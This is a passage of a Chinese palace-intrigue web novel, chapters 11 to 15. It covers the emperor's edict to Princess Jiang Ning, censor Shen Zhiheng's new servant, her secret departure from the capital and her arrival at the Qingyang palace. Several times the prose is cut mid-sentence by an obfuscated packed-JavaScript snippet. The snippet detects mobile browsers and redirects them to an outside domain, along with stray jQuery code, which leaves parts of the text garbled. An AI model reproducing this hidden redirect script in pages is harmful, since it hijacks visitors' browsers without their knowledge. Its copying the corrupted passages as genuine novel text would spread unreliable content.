李鸿顺见此情状，纵然铁石心肠也不免生出几分恻隐，只得躬身道：“殿下折煞老奴了。” 待李鸿顺赶回宫中复命时，皇帝姜厚钦早已在庆元殿等候多时，陈泽仍旧沉默地半跪于御座阶下。 姜厚钦啜了口已然微凉的茶，目光沉沉地投向殿门：“如何？” 李鸿顺整理思绪，恭敬回禀道：“回陛下，此事说复杂不算复杂，说简单却又殊为棘手。” “啪！”茶盏被重重搁置于在御案之上，“你几时也学会了这般弯弯绕绕的腔调？”姜厚钦的声音里透着明显的不悦。 “老奴万死！”李鸿顺瞬间伏跪在地，不敢抬头，紧接着便将坊间流言蜚语、公主府内所见所闻，尤其是姜宁声泪俱下央求赐婚的一幕，一丝不漏，详陈御前。 随着他的叙述，姜厚钦的眉头越拧越紧。 直至听到李鸿顺禀告姜宁的赐婚请求，皇帝怒极反笑：“赐婚？她还要将这桩荒唐事演到几时？沈之衡乃天下清流砥柱，她先是不顾体统当众抚琴表露心迹，继又以寻死相胁，已然是颜面扫地！如今竟还要朕以帝王之威，强逼沈卿就范不成？” “陛下息怒！”阶下的李鸿顺与陈泽同时叩首，齐声高呼。 殿内陷入令人窒息的沉寂。半晌，姜厚钦沉沉的目光落在李鸿顺身上：“以你之见，此事该如何了结？” 李鸿顺额头冷汗涔涔而落，颤声道：“老奴愚钝，岂敢妄议天家之事。”顿了顿，他又温言道：“陛下与殿下血脉相连。普天之下，也唯有陛下，最知公主心意。” 听闻此言，姜厚钦内心软了几分。姜宁终究是自己的孩子，更是自己与灵均唯一的孩子。 姜厚钦发出一声深长的叹息，带着无尽的疲惫与困惑：“那么多世家子弟、才俊良配，她怎么就偏偏看上了沈之衡？倘若是旁人，她既欢喜，朕成全了倒也无妨……” 他的目光放空，像是陷入了遥远的思绪。 李鸿顺与陈泽匍匐在地，大气不敢出。 良久，姜厚钦指尖无意识地摩挲着温润的盏沿，才似下定了决心：“你们都起来吧。”他声音透着一丝决断后的无奈，“陈泽。” “属下在！”陈泽跪了半日，腿脚虽禁不住地抖动，但还是尽力站稳身形。 “朕有两道旨意要交予公主，一道明旨，一道口谕。李鸿顺拟旨，陈泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138562|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你亲自带回公主府宣旨。” “喏！”二人齐声应命。 片刻后，陈泽双手恭敬地接过李鸿顺递来的明黄卷轴，向姜厚钦行礼告退后，转身快步离去。 姜厚钦望着他消失在夜色的背影，眸光沉郁，低语道：“朕也不知这番处置是对还是是错。只盼姜宁，莫要埋怨朕才好。” 侍立一旁的李鸿顺适时低语宽慰：“公主殿下聪慧，必能明白陛下这一片拳拳爱女之心。” 说话间，殿外，京城又渐渐飘起了风雪。 ———— 公主府。 陈泽手持圣旨，在府邸门前肃然宣读了那道闭门思过的旨意。 对于这道旨意，姜宁其实并不意外。 一位是清流砥柱、股肱之臣，一位是离京多年、声名狼藉的公主。若她是父皇，权衡之下，也必会如此抉择，保下沈之衡的清誉与朝堂安稳。更何况，如今京城流言鼎沸，皆道她姜宁以死相逼，折辱重臣。 “儿臣领旨，定当闭门思过，静思己失。”姜宁平静地接过那道明晃晃的圣旨，缓缓起身。 陈泽接着又道：“殿下，其实圣上还有一道口谕。” 姜宁闻此，神色如常，又重新依礼跪下。 陈泽向前走了半步，轻咳了两声，随后压低声音，以确保只有姜宁能听到的语调，模仿着姜厚钦的语气道：“沈卿品貌皆是上乘，与我儿也算相配。你既喜欢，自可去追求，但莫要再做胁迫之举。若来日沈卿愿意，朕自会给你们赐婚。” 姜宁霍然抬首，瞳孔骤缩，难以置信地看向陈泽：“什么？” 陈泽郑重点头，眼神笃定：“确为圣上口谕。殿下，接谕吧。” 一股巨大的、难以言喻的悸动瞬间席卷了姜宁。 “儿臣……”姜宁的声音颤抖了一下，随即稳稳叩首，“领旨谢恩。” 随着公主府的大门被守卫缓缓合拢，姜宁仍是呆立在原地，纹丝不动。庭院深处的梅香丝丝缕缕，缠绕着寒冽的空气扑鼻而来。她的心口骤然涌起一阵酸楚的炙热，滚烫的泪水毫无征兆地从眼角滑落。 方才父皇口谕带来的巨大震动尚未平息，眼前景象却已悄然流转—— 若是母后没有逝去、凤体安康，若皇弟没有夭折、安然长大，那她便仍是这大凌朝最受帝后宠爱、最享尊荣的承嘉公主。 天元十八年，殿试金榜题名，少年新科状元沈之衡，以一道惊才绝艳的策论名扬天下。那时的她，或许便会于琼林宴上，隔着珠帘与花影，注意到那个芝兰玉树、意气风发的身影。 鲜衣怒马的状元郎，锦绣前程，青云直上。豆蔻年华的公主，天真烂漫，笑靥如花。 彼时，她也许会寻遍宫中典籍，绞尽脑汁以“请教”之名将他唤来伴读；也许会不顾宫规，偷偷溜去太学看他讲学；也许会像影子般欢喜地追随他走过的每一个角落。 而他，面对这样一个明媚骄纵却又心无城府的公主，或许……或许不会那般冷漠疏离，不会拒她于千里之外？ 待到及笄之日，那会是怎样一个春日？ 母后笑意温柔地执起她的手，父皇的目光充满慈爱与纵容。侍奉在侧的司礼监展开早已拟好的明黄卷轴—— 一旨赐婚，岁月静好，佳偶天成。 泪水再一次模糊了她的视线，那臆想中极致的圆满与眼前的孤寂冰冷，让心口那刚刚升腾的微薄暖意，更渗入了无法言说的苦涩。 12. 第十二章 起了心思 次日，正月初七，残雪未消。 沈府书房内，炭盆燃得正旺，暖意氤氲。沈之衡的身子略一好转，便又端坐于书案前，翻阅堆积的公文案牍。洛松蜷伏在他脚边，闭着眼发出轻微的鼾声。 “吱呀”一声，书房门被推开，向恒声裹挟着一缕寒气大步迈入，朗声道：“怀野，公主府那边有消息了。” 沈之衡执笔的手微微一顿，抬首望向好友：“如何？” 向恒声就近寻了张椅子坐下，语气沉稳：“圣上昨夜下了道旨意，严辞斥责公主骄纵任性，妄行胁迫朝廷重臣之举，损及皇家颜面，故责令公主闭门思过半月。”他顿了顿，长舒一口气，神情放松，“此事算是有了定论。怀野，你无事了。” 沈之衡闻言，眼睫低垂，面上并无半分庆幸，指尖在书案上无意识敲了一下，缓缓起身：“此事……亦是我言辞激切之过。我当入宫向陛下请罪。” 向恒声眼疾手快，一把将他按回椅上，正色道：“你何错之有？纵使你真有错，此刻再进宫请罪，也是下下之策。圣旨已下，覆水难收。你这般前去，无异于质疑圣裁，徒惹陛下不快。现在外面流言纷扰，陛下这道旨意，摆明了是要护你周全。你应当体察圣心，莫负了这份回护之意才是。” 沈之衡轻叹一声，目光不由自主地移向案头，便见那卷半开的《千里江山图》，以及搁置一旁的《百草经》。 他眸底深处似有微澜掠过，默默将这两件东西拿起，递予向恒声，声音极淡：“良安，得空之时，替我将这两样送回公主府吧。权作一点歉意。” 向恒声接过，指尖拂过泛黄的纸页，略带迟疑地看向好友：“怀野，你实话与我说。你对那位殿下，莫非真存了几分心思？” 沈之衡心头蓦然一紧，随即断然摇头：“绝无。”他顿了顿，声音染上些许不易察觉的疲惫，“我只是，求个心安罢了。” 那夜浮月桥亭台，姜宁决然跃入沉月河的剪影，总在不经意间浮现眼前。这两日他反复自省：是否自己那番绝情的话语，才是将她推下深渊的最后一股力？ 向恒声观察他的神色，只当已了然，点头道：“如此便好，心无挂碍，来日若真要对苏家……”他收住话头，将书卷画轴利落地拢入宽袖，又接着道：“切莫心软。” 提及苏家，沈之衡脑中闪过姜宁前夜所说的苏家亦是迫不得已。他沉吟开口：“工部苏成，还有浙江林家，你手上可有更细的线？” 向恒声浓眉微蹙：“过去并未留意。怎么突然提起这两处？” “或许与六年前苏家贪墨国帑那桩案有关。”沈之衡语气平静。。 向恒声颔首：“明白了。我命人去详查。” 两人静默片刻，向恒声仿佛想起什么，话锋一转：“对了，你可还记得年前那个冒死闯入大理寺，状告山东武定知府强占民田、夺人妻女的少年？” 沈之衡不假思索：“自然记得。此案年前已督促刑部速办。今日刑部刚递来消息，拟处流放。但据我手中掌握的铁证，其罪当斩。刑部的量刑过轻，我正拟批驳。” “此事自然。大理寺也是此意。”向恒声的嘴角忽地勾起一抹意味深长的笑意，“不过我要说的，是另一件事。” “何事？” “那名少年，姓千，单名五，家乡田宅尽毁，亲人皆亡，他不肯再回武定，但在京城亦是居无定所。我看着他倒是个机灵可靠的。不如就让他到你府上吧？”向恒声目光炯炯，“添个帮手，替你跑跑腿，喂喂洛松，熬熬药汤，清扫庭院，岂不正好？” 沈之衡闻言，眉峰紧蹙，眼中透出十足的不解。 向恒声朗声一笑：“怀野，我知你素喜清净，这些年府里就你跟洛松两个活物。”他指了指蜷着的黄犬，“但此番你落水生病，是大理寺差役两头忙活。日后你我皆忙于案牍，洛松怕是要饿肚子了。府里总该添些人手。这少年既知根知底，又心存感激，用着也放心。我已问过他，他是千肯万肯的。” 沈之衡默然片刻，目光在洛松憨睡的侧脸上停了停，终是轻叹一声：“也罢。。待你方便时，带他过来便是。我晚些时候便将西厢房收拾出来。” “好。那此事便如此定了。”向恒声笑容满面，忽地转身朝庭院方向扬声道：“千五，进来吧！” 沈之衡眉梢一扬，瞥了向恒声一眼，语带了然：“先斩后奏，这确是你这位大理寺少卿的一贯作风。” “哈哈哈！”向恒声大笑声中，一道清瘦的身影已跨入门槛。 那是个约莫十四五岁的少年，衣衫虽旧却整洁，身子清瘦，却站姿挺拔。他朝着沈之衡的方向，深深一躬到底，声音清亮，带着一股初生牛犊般的韧劲：“小人千五，拜见御史大人！” 陌生气息惊扰了洛松的美梦。它骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“啧啧啧……”一旁的向恒声这才长长呼出一口气，忍不住摇头，仿佛看了一场跌宕起伏的好戏。 待千五压抑着巨大的喜悦，退出书房后，向恒声凑到沈之衡身边，低声道：“怀野，这六年间，欲拜入你门下者甚多，便是朝中老臣也常向你推举子侄。倒未见你对谁如此一见而纳。” 沈之衡的目光依旧凝视着千五消失的方向，眸色深远悠长，仿佛穿透了时光的尘埃。他带着一丝不易察觉的叹息，声音极轻地开口道—— “或许……是觉得投缘吧。看到他，仿佛看到了当年的自己。” 13. 第十三章 再度离京 正月十七，风雪初霁。 庆元殿外，李鸿顺守着殿门，远远便望见陈泽步履急促、神色慌张地朝此处奔来。 不待李鸿顺开口询问，陈泽已冲至阶下，抱拳行礼，声音里压着十万火急：“公公，我有要事须即刻面禀陛下，烦请速速通传！” 李鸿顺面有难色：“陈校尉，陛下正与沈御史商议要务。不若稍候片刻？” 陈泽眉头紧锁，焦虑之色丝毫未减，声音不自觉地拔高了几分：“事关重大，恐怕一刻也等不得！再迟……怕是追不上公主殿下的驾马了。” 听到这话，李鸿顺内心猛地一沉。但圣上先前严令，他与沈御史密谈期间，任何人不得惊扰。这该如何是好？ 就在这时，皇帝姜厚钦的声音自紧闭的殿门内沉沉传出：“让陈泽进来。” “诺！”李鸿顺如释重负，连忙推开殿门，“陈校尉，请。” 陈泽匆匆一揖谢过，大步迈入殿中。 殿内，姜厚钦正坐于御案之后，神色间略带无奈：“如此急切，公主殿下又生出什么事端了？” 陈泽的目光扫过一旁端坐不动、明显得了皇帝默许的沈之衡，随后迅速取出一封信函，单膝跪地，将信件高举过额间，声音带着难以抑制的微颤：“回禀陛下，公主殿下今晨突然驾乘马车离京。此乃殿下临行前交付属下的信函，嘱托晚些再呈送到御案上。但属下思虑公主行踪蹊跷，事关重大，不敢有丝毫延误，特此入宫急报！” 殿内空气骤然凝固。一旁的沈之衡面上波澜不惊，但垂落于袖中的指尖却微微一蜷。 姜厚钦眉头一蹙，冷哼一声：“朕倒要看看，这次她又给朕预备了什么‘惊喜’！” 他离座行至陈泽面前接过信件。明黄的封蜡被撕开，信纸在手间徐徐展开。随着目光逐行扫过，他的脸色以肉眼可见的速度阴沉下来，周身散发出压抑的怒意。 但他仍是维持着沉稳的声线，对沈之衡吩咐道：“沈卿，你且先行退下，于殿外稍候片刻。” “微臣遵旨。”沈之衡即刻起身，恭谨行礼，悄然退出大殿。 随着沉重的殿门在他身后合拢，瓷盏被狠狠砸碎的清脆声响便骤然传出。 门外侍立的李鸿顺心头一紧，暗自为殿内之人捏了把冷汗。 沈之衡面色无波，对着李鸿顺微一颔首，肃然侍立一旁。 沉默弥漫了片刻，沈之衡目光落在殿檐渐消的残雪上，似不经意地开口：“公主殿下以往也常引动陛下圣怒至此么？” 李鸿顺微躬着身，轻叹一声，声音压得极低：“回大人，倒也并非如此。从前明昭皇后在时，殿下天真烂漫，鲜少任性。自明昭皇后仙逝后，殿下才渐渐生出一些骄纵之举。前些日子从长安归来，殿下虽沉默寡言，行事却也守礼。” 他声音渐微，似有忌讳，“谁曾想，前几日竟惹出那般大的事来……”话至此，他忽地缄口。 “原来如此。”沈之衡略一点头，不再言语。 庆元殿内，姜厚钦摔杯后并未即刻发作，而是颓然坐回御案之后，胸膛起伏不定，粗重的喘息声在空寂的大殿中回荡。 此刻，他心中翻涌的不是单纯的愤怒，更有一种前所未有的震动和思索。这是他第一次如此强烈地意识到，要去重新审度这个唯一的女儿。这十二年来，她在长安究竟经历了什么，何时变成如今这般？她的精心布局，最终究竟指向何处？ 信上，姜宁只道离京散心，请他勿念。但姜厚钦很快便想到了姜宁曾请求探望裴落之事，以及初五那场轰动京成的“抚琴示爱”、“投河逼婚”之戏。须臾之间，他已然明了。 她说想去探望裴落时，他还特意叮嘱要悄然行事。他本想着她会择一风平浪静之日秘密启程，未料到她竟布下此局。明修栈道，暗渡陈仓。将他这位父皇也算计进去做了一枚棋子。 而他，直到此刻才察觉。 刹那间，情绪百味杂陈。一面是帝王之怒，被亲生女儿公然设计的恼怒、被愚弄的难堪。另一面，是一丝难以言喻的欣慰与震撼。这丝欣慰中，更夹杂着一缕深沉的遗憾。 太子姜齐喜形于色，行事常依仗些自以为是的小聪明。姜宁这翻云覆雨的手段、沉潜冷静的心性、不惜搅动风云也要达成目的的魄力……借力打力，步步为营，其实更具帝王心术，更适合继承这江山重担。 只可惜……姜宁终究不是男儿身。 时间无声流淌，殿内的死寂几乎要将陈泽压垮。额间冷汗不断滚落。 良久，龙椅之上终于传来了姜厚钦沉稳威严的声音：“她带了何人离京？” “回陛下，惜桃、红叶、苏七、苏九，皆随行在侧。”陈泽连忙回禀。 “红叶是谁？” “额……殿下找来的厨子，负责公主府的膳食。” “呵”，姜厚钦眉梢微挑，唇角忽地缓缓勾起一抹难以捉摸的弧度，随后沉稳道：“你带上几人暗中保护公主，保其万全。再传密信到庆阳行宫：若公主到访，私下带她秘见淑妃，不可声张。” “是，属下谨遵圣命！”陈泽心头大石落地，立刻叩首领旨。 “嗯，退下吧。传沈之衡入内。”姜厚钦挥了挥手，方才的雷霆之怒已尽数敛去，恢复了平日的帝王威严。 “诺。” 殿外，陈泽走出，对静立一旁的沈之衡恭敬行礼：“沈大人，陛下宣召。” 沈之衡颔首道：“好。” 随后，陈泽脚步略顿，靠近他身侧，以仅有两人能闻的声音极快道：“公主殿下尚有一言托属下转达沈大人——‘殿下言，待其回京后，定当亲自向沈大人致谢。’” 沈之衡身形纹丝未动，唯声音顿了一下，随即恢复一贯的清冷平稳：“烦劳陈校尉回禀殿下，只是物归原主罢了，殿下无须客气。”言毕，再次步入庆元殿。 殿内，姜厚钦已稳坐如山，神情平静无波，丝毫不见方才的愠怒。 “沈卿，方才所议都察院联合吏部的官员考绩新法，甚合朕意。你与吏部尚书先行拟出细案呈上，朕再行详阅。”姜厚钦语气平缓，如同在谈论寻常政务，“若无重大疏漏，此后续推行事宜，便由你全权督办。” “微臣领命，定当竭力。”沈之衡躬身应道。 “另有昆仑银矿一事，主事人选已定，汪阁老举荐户部员外郎梁成光，朕以为可。”姜厚钦话锋微转，“但是银矿事关重大，不容半点闪失。你从都察院中遴选一名精干之人，授‘矿监御史’衔，随同梁成光前往昆仑督查吧。” “臣明白，即日便安排妥当。”沈之衡回答干脆利落。 “嗯。”姜厚钦点头，随后仿佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唯有惜桃紧紧抓着马车窗框，眼圈通红，声音哽咽：“殿下千万要保重！苏七，殿下若少了一根头发丝，我定不饶你！” 苏七抱拳道：“有我在，你大可放心。” 姜宁靠近马车窗边，探身拭去惜桃脸颊的泪水，柔声笑道：“傻丫头，哭什么？我们很快就在庆阳相见了。你这一路替我好好看顾‘公主凤驾’，走得越招摇越好。说不定师父在蜀地收到风声，还会赶来看你们呢？” 惜桃的泪意顿消，她用力点头：“那殿下保重！我们在庆阳见！” “嗯！庆阳见！”姜宁展颜一笑，干净利落地翻身上鞍，调转马头，与苏七绝尘向西而去。 马车方向，待姜宁和苏七的身影彻底消失在视线尽头，其余人则驾着马车，一路向南。 不远处稀疏的树林阴影里，陈泽与六名羽林卫锐士暗中观察。 “陈头儿，怎么办？”一名手下低声请示。 陈泽略一沉吟，断然下令：“你带两人，跟紧那辆往南的车驾，沿途护卫，亦要防人窥探。我亲自领其余三人，向西暗中护持殿下。不得有误！” “是！” 令下，七道身影悄无声息地散开，分别融入了通往西方和南方的苍茫官道。 【第一卷完】 14. 第十四章 初到庆阳 庆阳府地处长安以西，毗邻西域。 太祖立国之初，定都长安。因彼时皇后偏爱山林景致，太祖遂在长安城以西不远处营建庆阳行宫，此后年复一年，每年携皇后于此消磨近半时光。 后来到了先帝年间，西北匈奴屡犯边陲，朝廷才被迫迁都至如今的京城，庆阳行宫则被闲置多年。 所幸自二十二年前镇北侯赴死一搏，西北大捷，边塞渐趋安定。此后，往来庆阳的异国商队络绎不绝。如今庆阳府已是商贾云集、繁华富庶的大凌名城，百姓多以行商为业。 姜宁与苏七从京城出发，一路策马西行。抵达庆阳府时，已是二月初，奔波了接近一月。 姜宁心中盘算：去年四月裴洛姐姐身怀有孕，到今岁二月，临盆之期已然临近。她丝毫不敢耽搁，恨不能立刻赶赴行宫。然二人抵达庆阳府已是薄暮时分，去往行宫尚需半日路程。 稍作思量，姜宁决定在庆阳暂歇一夜。 二人寻了城中上好的客栈落脚，简单用过些饭食。姜宁本欲回房安歇，又被窗外喧闹市声吸引，随即改了主意。 她踱至隔壁叩门叫上苏七，一同下楼，想去夜市探探这西北名城的夜趣。 巧的是，两人刚步下楼梯，便瞥见客栈大堂里几道熟悉身影——陈泽正带着手下大口吃肉、畅饮不止。 姜宁见此，心下了然。她悄然行至陈泽身后，忽地出声：“陈泽，你小子何时跟上来的？” 离了京城，姜宁也卸下了公主的威仪。 陈泽等四人闻声猛一抬头，见是姜宁环抱双臂、面带促狭笑意地站在那里，四人慌忙起身。 陈泽硬着头皮答道：“回禀殿下，是圣上命我等暗中护卫。约莫……从您与惜桃姑娘他们分道时便一路随行了。” “哈哈，”姜宁朗声一笑，“既是父皇所遣，那便能留你们一命。”说着，她拍了拍陈泽肩头。 陈泽顿觉脊背冒汗，讪讪道：“殿下，您言重了。” “既已现身，往后便不必再藏了。只是在外，”姜宁正色交代，“不得唤我‘殿下’，称‘姜姑娘’即可，万不可泄露身份。” 陈泽等人齐齐抱拳：“属下遵命！” 姜宁微微颔首：“嗯。我现下要与苏七去夜市走走，你们不必跟随。这些日子奔波，都好好歇着吧。” “是，多谢公……” “嗯？”姜宁眉梢一挑。 陈泽四人赶忙改口：“多谢姜姑娘！” 姜宁满意地点点头，领着苏七转身步出客栈。 待二人走远，陈泽身旁的赵平才低声问道：“头儿，殿下到了庆阳，怎么像换了个人似的？” 陈泽白他一眼，撕下块盘中的牛肉：“你问我？我问谁去？” 与京城平日的宵禁森严不同，庆阳的夜，从戌时起，喧闹仿佛才刚启幕。街市上人潮熙攘，灯火辉煌，呈现出一派欣欣向荣的盛世景象。 见此繁华，想到明日便能与裴洛姐姐相见，姜宁心头郁气尽散，眉眼也舒展了许多。她在夜市流连，采买了不少新奇玩意与特色吃食，盼着明日能给姐姐带去一份惊喜。 苏七默默无言，跟在身后捧着她买来的种种物件。不多时，双手已抱得满满当当。 姜宁见状正欲返回时，目光不经意瞥过街角，一面熟悉的招牌赫然映入眼帘——凤明堂。 她指着那招牌，侧首问苏七：“风明堂何时在庆阳也开了分堂？” 苏七略一思忖，应道：“依稀记得红叶姑娘提过，应是近些日子才张罗起来的。” 姜宁莞尔：“那正好，我们给惜桃他们去封信吧。” “好。”苏七应声道，没有丝毫犹豫。 行至凤明堂内，堂上尚有零星前来抓药的百姓。 苏七唤来掌事，递上怀中信物。那掌事一见，当即明了姜宁身份，连忙恭敬地将二人引入内堂：“小人杨阳，不知殿下有何吩咐？” 姜宁语气平和：“杨掌事，烦请取纸笔来。我要修书一封，劳烦贵堂速递至蜀郡。” 凤明堂是师父顾方十二年前于长安所创。它虽以医馆立足，但于百姓间口碑极佳，其后在各地陆续开设了分堂。由于各堂之间自有专人负责药材转运，日久天长，便也织起了一张传递消息的网络。 “遵命，殿下。”杨阳应声退下，片刻便呈上纸笔。 姜宁提笔蘸墨，正落字时，屋外骤然传来炸响，似是烟火，紧接着便是街市上人群爆发的喧哗骚动。 姜宁笔尖一顿，蹙眉问道：“杨掌事，外面出了何事？” 杨阳欠身，脸上带着一丝习以为常的笑意：“回禀殿下，此乃庆阳近几年形成的风俗。每月初十亥时，南风馆会为新到的俊俏郎君开台献艺。百姓可在其中推举最受欢迎者，封为当月的‘南院公子’。若有贵客青睐，亦可出重金竞拍其初夜，或是为其赎身。久而久之，倒成了庆阳一景，引得四方游人专程前来一睹盛况。” “哦？”姜宁扬眉，笔未停，“不愧是富庶风流之地。” 她将心中嘱托一气呵成，待墨迹干透，这才不疾不徐地滴蜡密封好，递与杨阳。 杨阳双手接过信件，面上维持着得体的浅笑：“若殿下今夜也有几分兴致，不妨移步一观。怀均先生有过交代，殿下若有用度，只管记在风明堂账上便是。” 怀均先生，即顾方对外使用的称号。凤明堂之人，均唤怀均先生，鲜有人知晓其真实身份。 “知道了。”姜宁略一颔首，并未多言，与杨阳作别，带着苏七离开了风明堂。 因着南风馆的热闹，此刻街巷比来时更为寂寥。 二人步行不过百步，一直沉默护卫的苏七不动声色地将手中物件尽数拢至左手，右手悄然按上腰间佩剑，声音压得极低：“殿下，身后有人跟随。” 姜宁面不改色，脚步未停，只状似随意地嗯了一声：“几个？看得清路数么？” “两人。方才瞥见身形，俱是细瘦模样，不似长年习武之人。”苏七语速沉稳，目光锐利。 “前面左拐似是条小巷，”姜宁目光扫过前方一处幽暗的岔口，“引他们进去，就地解决。” “明白。” 两人步伐不变，又前行了数十步，便在巷口若无其事地右拐进去。 尾随的二人亦步亦趋，随之拐入暗巷。巷子深处昏暗无光，唯余脚步声清晰可闻。待行至深处，两人见巷中仅剩姜宁一人伫立，骤然惊觉不妙，正欲抽身退走。却见寒光一闪，一柄剑刃已无声无息地贴上其中衣着更为讲究那人的脖颈要害。 另一名男子见状骇然，急急抽出腰间的长刀。 与此同时，苏七的警告也随之传来，他的目光紧紧锁定了持刀者，冷冷道：“我劝你最好别动。” 被剑锋抵颈的男子面色微变，随即又恢复了几分从容， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138565|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对着同伴微微颔首。那持刀的男子只得僵在原地，刀刃对着地面，进也不是，退也不是。 姜宁这才不紧不慢地转过身，走向被苏七制住的男子，声音冷冽：“谁派你们跟着的？” 那男子忽地低笑起来，嗓音带着几分奇特的慵懒：“殿下风华绝世，叫人一见难忘，情难自禁，便想跟着多走几步路罢了。” 此言轻佻，苏七眼神一厉，手上力道加重，剑锋瞬时在那人颈侧皮肤压出一道细细的红痕。 姜宁却未露怒意，只是借着巷口透进的微光打量对方。此人虽是汉人衣冠，但眉宇间分明带着几分胡人的硬朗轮廓。其身边的持刀护卫，看模样倒纯是汉人。 她目光灼灼，冷然质问：“你既认得我？是谁的人？” 那男子笑意更深，毫无惧色：“去年初春，长安城北郊流民施粥之所，殿下亲临诊脉，抚恤灾民。在下不才，曾远远仰望过公主殿下仙姿。” 姜宁眸中冷光乍现：“想拿这些虚言搪塞我？你颈上这柄剑，可没那般好的耐性。” “殿下怎就断定……在下所言不实呢？”他眉梢弯起，尾音拖长，带着一丝玩味。 话音未落，巷中突兀地响起“砰砰”几声轻响，数颗黑色小丸猛地砸落在姜宁与苏七脚边，砰然炸裂！ 浓郁的、带着强烈刺鼻气味的白烟瞬间狂涌而出，填满了狭窄的巷道。 “咳咳！”姜宁猝不及防，被呛得连咳两声，急忙以袖掩面后退。 待视野稍清，眼前除了翻滚的浓烟，那两个身影已消失无踪。唯余那个带着慵懒腔调的声音，随着夜风隐隐传来，带着几分笃定与嘲弄—— “后会有期，承嘉公主。” 白烟尚未散尽，苏七已警惕地横剑护在姜宁身前，沉声请示：“殿下，可要追？” 姜宁强压下心中惊疑与怒意，摆手道：“暗夜盲目，不宜冒险。先回客栈。” “是。”苏七即刻执行，纵身跃上檐头，将方才放在高处的一应物件悉数取下。 客栈内，一直守候的陈泽等人见姜宁安然归来，紧绷的神经才松弛下来。 姜宁踏进客栈门廊，并未停留，只吩咐小二速取纸笔，便径直回了二楼厢房。点燃油灯，昏黄的光晕映着她的侧影。 她凝神回忆，执笔于纸，手腕稳健，顷刻间便将方才那两名男子的样貌特征，尤其是那带胡风的主仆二人，分毫毕现地绘于纸上，各画了两份。 随即，她将门外守候的苏七唤了进来，将四张画像递去，沉声吩咐：“这四张画像，一份送风明堂杨掌事处，一份送庆阳知府手上。给杨掌事的，言明是我所求；给知府衙门的，借用苏家名号。要他们务必尽快探明此二人身份，一有消息，速速报来！” “属下明白！”苏七接令欲走。 “慢着，”姜宁又补了一句，眼神锐利，“叮嘱那知府，此事不可张扬，更不准上报朝廷，只作私下暗查。” “是！”苏七领命，身形一闪，自窗口悄无声息地掠出。 室内重归寂静。姜宁独坐桌旁，指节无意识地、一声声轻轻敲击着坚硬的桌面。 油灯的火苗摇曳着，将她的影子长长投在墙壁上。 她阖上眼，在记忆的深处反复寻找，试图捕捉一丝与今夜那诡异主仆相关的蛛丝马迹。然而，脑海中反复翻涌的，仍只是那双带着胡风的、慵懒而危险的眉眼，未有何线索。 15. 第十五章 庆阳行宫 次日，天刚蒙蒙亮，姜宁和苏七便策马奔向庆阳行宫。 陈泽等人早已整装待发，依旧隐在暗处，不远不近地跟随着姜宁与苏七，并未同行。 卯时启程，一路疾驰。直至日头偏西的未时，那座皇家行宫才终于映入眼帘。 甫一见行宫的宫门，姜宁未待马蹄停稳，已翻身跃下，径直叩响了朱红宫门。苏七紧随其后，如影随形，护卫的姿态无声而坚定。 不远处，陈泽一行悄然隐入林木深处，屏息凝神，隐匿自己的形迹。 宫门吱呀一声，只启开一道窄缝，内侍谨慎的声音自缝中传来：“此处乃皇家禁苑，敢问姑娘是？” 姜宁心焦如焚，面上却维持着公主应有的清贵，沉声道：“本宫乃承嘉公主，前来探望……”她喉间微涩，顿了顿，才续道：“本宫要见淑妃娘娘。” “殿下可有信物为凭？”内侍并未立刻开门。 姜宁毫不犹豫地从腰间扯下贴身玉佩，自门缝递入：“此物，可识得？” 内侍接过玉佩，仔细验看片刻。他这才将门缝略略开大些，目光越过姜宁与苏七，确认身后再无他人，才利落地将厚重宫门彻底敞开，躬身道：“公主殿下请，圣上早有吩咐。” 不待内侍话音落尽，姜宁已一步跨过高高的门槛，目光急切地四下张望：“淑妃娘娘何在？” 内侍迅速合拢宫门，侧身引路：“殿下这边请，奴才为您带路。”途中遇见洒扫宫女，内侍低声吩咐：“速去通传王嬷嬷，公主殿下到了。” “喏。”宫女领命而去。 穿过一片幽深的竹林，一座清雅的别院呈现眼前。内侍在院门前止步，垂首轻语：“殿下，淑妃娘娘就在这院中。奴才不便再入内了。” “有劳。”姜宁颔首致谢，人已踏入庭院。苏七与内侍则默契地留在院外静候。 院内清扫落叶的宫女虽不识来人，但见是内侍引领，立刻恭敬行礼。 姜宁恍若未闻，停在房门前深吸一口气，才缓缓踏过门槛而入。 屋内，裴落正倚着软枕，捧卷细读。一旁侍立的宫女见生人闯入，疑惑问道：“姑娘是……？” 裴落闻声抬眸，视线与姜宁撞个正着。她微微一怔，随即眼中漾开温柔的笑意，轻声唤道：“是漪漪么？” 这熟悉的一声“漪漪”，瞬间击溃了姜宁强撑的平静，两行清泪无声滑落，声音哽咽沙哑：“是我……裴落姐姐！” 